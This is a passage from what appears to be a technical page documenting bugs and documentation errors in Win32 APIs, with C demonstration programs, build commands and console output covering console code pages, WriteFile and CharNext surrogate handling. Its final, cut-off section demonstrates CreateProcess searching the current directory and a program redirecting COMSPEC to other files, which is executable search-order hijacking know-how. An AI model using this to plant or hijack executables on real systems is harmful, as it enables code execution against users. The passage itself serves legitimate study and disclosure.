Error message text: {Application Exit by CTRL+C}
The application terminated as a result of a CTRL+C.
CertUtil: -error command completed successfully.
OUCH³: contrary to the second highlighted
statement of its documentation cited above, the
ReadConsole()
function does not (mis)behave like the
ReadFile()
function – contrary to the highlighted statement of its
documentation cited above the latter fails to return at all when
Ctrl C is
pressed!
WriteFile()
states:
Writes data to the specified file or input/output (I/O) device.OUCH: 232 − 2 nonzero[…]
[…]BOOL WriteFile( [in] HANDLE hFile, [in] LPCVOID lpBuffer, [in] DWORD nNumberOfBytesToWrite, [out, optional] LPDWORD lpNumberOfBytesWritten, [in, out, optional] LPOVERLAPPED lpOverlapped );
[out, optional] lpNumberOfBytesWritten
A pointer to the variable that receives the number of bytes written when using a synchronous hFile parameter. WriteFile sets this value to zero before doing any work or error checking. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results.
This parameter can be NULL only when the lpOverlapped parameter is not NULL.
Windows 7: This parameter can not be NULL.
[…]
If the function succeeds, the return value is nonzero (TRUE).
If the function fails, or is completing asynchronously, the return value is zero (FALSE). To get extended error information, call the GetLastError function.
BOOL
values differ from the value of the preprocessor
macro TRUE
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL mainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (!WriteFile(hError, "BLUNDER!\r\n", 10UL, (LPDWORD) NULL, (LPOVERLAPPED) NULL))
dwError = GetLastError();
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. on Windows 7 and evaluate its exit code:
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] BLUNDER! 0OOPS: contrary to the highlighted statement of the documentation cited above, lpNumberOfBytesWritten can be
NULL
on Windows 7!
The AreFileApisANSI function determines whether the file I/O functions are using the ANSI or OEM character set code page. The SetFileApisToANSI function causes the functions to use the ANSI code page. The SetFileApisToOEM function causes the functions to use the OEM code page.The documentation for the Win32 functionBy default, file I/O functions use ANSI file names. Functions exported by Kernel32.dll that accept or return file names are affected by the file code page setting.
Both SetFileApisToANSI and SetFileApisToOEM set the code page per process, rather than per thread or per computer.
AreFileApisANSI()
specifies:
Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.The documentation for the Win32 function[…]
The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
GetACP()
specifies:
Retrieves the current Windows ANSI code page identifier for the operating system.The documentation for the Win32 function
GetOEMCP()
specifies:
Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.The documentation for the Win32 function
SetFileApisToANSI()
states:
Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.OUCH¹: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
The documentation for the Win32 function
SetFileApisToOEM()
states:
Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.OUCH²: the highlighted statement is but wrong too![…]
The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
The MSDN article Console Application Issues states:
The 8-bit console functions use the OEM code page.OUCH³: despite its third repetition, the first highlighted statement is but still wrong – contrary to the[…]
The console will accept UTF-16 encoding on the W variant of the APIs of UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to
65001
(CP_UTF8
constant) for the UTF-8 code page.Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.
relevant file functions, which use the operating system’s static OEM code page when turned on with the
SetFileApisToOEM()
function, the 8-bit console input functions use an
arbitrary user-controlled
ANSI
or
OEM code
code page which can be queried with the
GetConsoleCP()
function and set with the
SetConsoleCP()
function, whereas the 8-bit console output functions use another
arbitrary user-controlled
ANSI
or
OEM code
page which can be queried with the
GetConsoleOutputCP()
function and set with the
SetConsoleOutputCP()
function!
The MSDN article Console Code Pages specifies:
Associated with each console are two code pages: one for input and one for output. A console uses its input code page to translate keyboard input into the corresponding character value. It uses its output code page to translate the character values written by the various output functions into the images displayed in the console window. An application can use the SetConsoleCP and GetConsoleCP functions to set and retrieve a console's input code pages and the SetConsoleOutputCP and GetConsoleOutputCP functions to set and retrieve its output code pages.Note: the console commands
Chcp
and
Mode
query the console input code page, but always set both the console
input and output code pages.
OUCH⁴: contrary to the last highlighted
statement, a console application which uses 8-bit console input and
output functions together with 8-bit file input and
output functions needs to query their current mode with the
AreFileApisANSI()
function, call depending on its result either the
GetACP()
or the
GetOEMCP()
function to retrieve the appropriate
code page identifier,
then call the
SetConsoleCP()
and
SetConsoleOutputCP()
functions to set the console input and output code pages.
Create the
ANSI
text file
blunder.txt
containing the extended characters of
Code Page 1252
in an arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the trailing
CR/LF
pair the file blunder.txt
contains 125 single-byte
characters.
Start the Command Processor
Cmd.exe
in the
directory where you created the text file blunder.txt
,
then query the console input code page and display the text file
blunder.txt
using the internal
Type
command:
CHCP.COM TYPE blunder.txt
Active code page: 850. ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■OOPS: the file’s content is rendered like
mojibake
!
Set the console (input and output) code pages to 1252 and repeat the previous step 2, then reset the console code pages to 850:
CHCP.COM 1252 TYPE blunder.txt CHCP.COM 850
Active code page: 1252. €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ Active code page: 850.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const CHAR szBlunder[] = "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n";
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szCP[1024];
DWORD dwCP = wsprintf(szCP,
L"GetACP() returned code page identifier %u\n"
L"GetConsoleCP() returned code page identifier %u\n"
L"GetConsoleOutputCP() returned code page identifier %u\n"
L"GetOEMCP() returned code page identifier %u\n",
GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!WriteConsole(hError, szCP, dwCP, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwCP)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!WriteConsoleA(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= sizeof(szBlunder) - 1)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!WriteFile(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, (LPOVERLAPPED) NULL))
dwError = GetLastError();
else
if (dwError ^= sizeof(szBlunder) - 1)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!SetConsoleOutputCP(GetACP()))
dwError = GetLastError();
else
{
if (!WriteConsoleA(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= sizeof(szBlunder) - 1)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!WriteFile(hError, szBlunder, sizeof(szBlunder) - 1, &dwError, (LPOVERLAPPED) NULL))
dwError = GetLastError();
else
if (dwError ^= sizeof(szBlunder) - 1)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!SetConsoleOutputCP(GetOEMCP()))
dwError = GetLastError();
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 4.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 5. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetACP() returned code page identifier 1252 GetConsoleCP() returned code page identifier 850 GetConsoleOutputCP() returned code page identifier 850 GetOEMCP() returned code page identifier 850 ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■ ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■ €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
CharNextA()
states:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The documentation for the Win32 function[…]
[…]LPSTR CharNextA( [in] LPCSTR lpsz );
When called as an ANSI function, CharNext uses the system default code-page, whereas
CharNextExA()
specifies a code-page to use.
CharNextExA()
states:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.Note: the code page identifier 65001 alias[…]
[…]LPSTR CharNextExA( [in] WORD CodePage, [in] LPCSTR lpCurrentChar, [in] DWORD dwFlags );
[in] CodePage
The identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.
Value Meaning CP_ACP
0Use system default ANSI code page. CP_MACCP
2Use the system default Macintosh code page. CP_OEMCP
1Use system default OEM code page.
CP_UTF8
denotes multi-byte character strings in
UTF-8
encoding.
The documentation for the Win32 function
CharNextW()
states:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The MSDN article Surrogates and Supplementary Characters states:[…]
[…]LPWSTR CharNextW( [in] LPCWSTR lpsz );
This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.
[…]OUCH⁰: a surrogate pair consisting of two 16-bit code units represents but a single code point!CharNext()
andCharPrev()
move by 16-bit code points, not by surrogate pairs.Note
Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.
Note: a low (alias trail) surrogate followed by a high (alias lead) surrogate is of course invalid too!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef BLUNDER
const WCHAR szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
#else
const WCHAR szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
UINT uiWide;
UINT uiANSI;
CHAR szANSI[42];
LPCSTR lpANSI;
LPCVOID lpLast;
LPCWSTR lpWide;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
PrintConsole(hError,
L"%tu UTF-16 code units:\n",
sizeof(szWide) / sizeof(*szWide));
for (uiWide = 0U; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
PrintConsole(hError,
L" %04hX",
szWide[uiWide]);
PrintConsole(hError,
L"\n\n");
for (lpWide = szWide, uiWide = 0U;
lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
uiWide++)
PrintConsole(hError,
L"%tu code units at offset %tu\n",
lpWide - lpLast, -(szWide - lpLast));
PrintConsole(hError,
L"CharNextW() enumerated %u characters in %tu code units\n",
uiWide, sizeof(szWide) / sizeof(*szWide));
uiANSI = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide, sizeof(szWide) / sizeof(*szWide),
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0U)
PrintConsole(hError,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"\n"
L"WideCharToMultiByte() returned %u UTF-8 code units for %tu UTF-16 code units:\n",
uiANSI, sizeof(szWide) / sizeof(*szWide));
lpANSI = szANSI;
do
PrintConsole(hError,
L" %02X",
*lpANSI++);
while (--uiANSI);
PrintConsole(hError,
L"\n\n");
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
{
for (lpANSI = szANSI, uiANSI = 0U;
lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0UL), lpANSI != lpLast;
uiANSI++)
PrintConsole(hError,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hError,
L"CharNextExA() enumerated %u characters\n",
uiANSI);
}
else
{
for (lpANSI = szANSI, uiANSI = 0U;
lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
uiANSI++)
PrintConsole(hError,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hError,
L"CharNextA() enumerated %u characters\n",
uiANSI);
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/J /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextExA() enumerated 31 characters 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: the
CharNextW()
function fails to detect
UTF-16
surrogate pairs
– it mistreats a space character (U+0020
)
followed by a high surrogate (U+D83D
,
U+D83C
), a low surrogate (U+DDEA
)
followed by a high surrogate (U+D83C
) as well as a lone
low surrogate (U+DE12
, U+DDFA
) as
one character!
Note: the surrogate pair U+D83D U+DE12
is the Unamused Face
emoticon 😒, and
the 2 surrogate pairs U+D83C U+DDEA U+D83C U+DDFA
are
the European Union Flag
emoji 🇪🇺, composed
according to the
ISO 3166
2-letter
country code
EU with
Regional Indicator Symbol Letter E
and
Regional Indicator Symbol Letter U
.
OUCH²: contrary to the highlighted statement
of the documentation cited above, the
CharNextExA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Create the text file blunder.xml
with the following
content next to the console application blunder.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Blunder Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
application manifest
blunder.xml
created in step 4. in the console
application blunder.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application blunder.exe
modified in
step 5. and evaluate its exit code:
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] 19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextA() enumerated 31 characters 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: contrary to the highlighted statement of the documentation cited above, the
CharNextA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code to demonstrate the
bugs:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 1 code units at offset 1 2 code units at offset 2 1 code units at offset 4 2 code units at offset 5 2 code units at offset 7 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNext() enumerated 10 characters in 19 code units WideCharToMultiByte() returned error 1113 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH³: with high and low surrogates swapped, thus creating an invalid
UTF-16
character string, the
CharNextW()
function detects surrogate pairs– it was apparently written by an absolute beginner who probably sorted low surrogates (code units
U+DC00
to U+DFFF
) due to their
higher numerical value before high surrogates (code units
U+D800
to U+DBFF
) or was confused by
Windows’ little endian byte-order which places
low(er)-order bytes before high(er)-order bytes, and most obviously
never tested!
CharPrevExA()
and
CharPrevW()
is left as an exercise to the reader.
Note: an exploration of the blunder and
bugs with the Win32 functions
CharNextA()
and
CharPrevA()
when the system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
specifies:
[…] the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:OUCH⁰: the second position is the current directory of the
- The directory from which the application loaded.
- The current directory for the parent process.
- The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.
OOPS: in the 64-bit execution environment, the
GetSystemDirectory()
function yields but the path of the 64-bit system directory!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwError = ERROR_SUCCESS;
WCHAR szBlunder[] = L"blunder.bat";
#ifdef BLUNDER
if (!SetEnvironmentVariable(L"COMSPEC",
#if BLUNDER == 1
L"blunder.com"))
#elif BLUNDER == 2
L"blunder.exe"))
#elif BLUNDER == 3
L"blunder.bat"))
#elif BLUNDER == 4
L"blunder.cmd"))
#elif BLUNDER == 5
L"blunder"))
#else
(LPCWSTR) NULL))
#endif
dwError = GetLastError();
else
#endif
if (!CreateProcess((LPCWSTR) NULL,
szBlunder,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
dwError = GetLastError();
else
{
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!CloseHandle(pi.hThread))
dwError = GetLastError();
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!CloseHandle(pi.hProcess))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
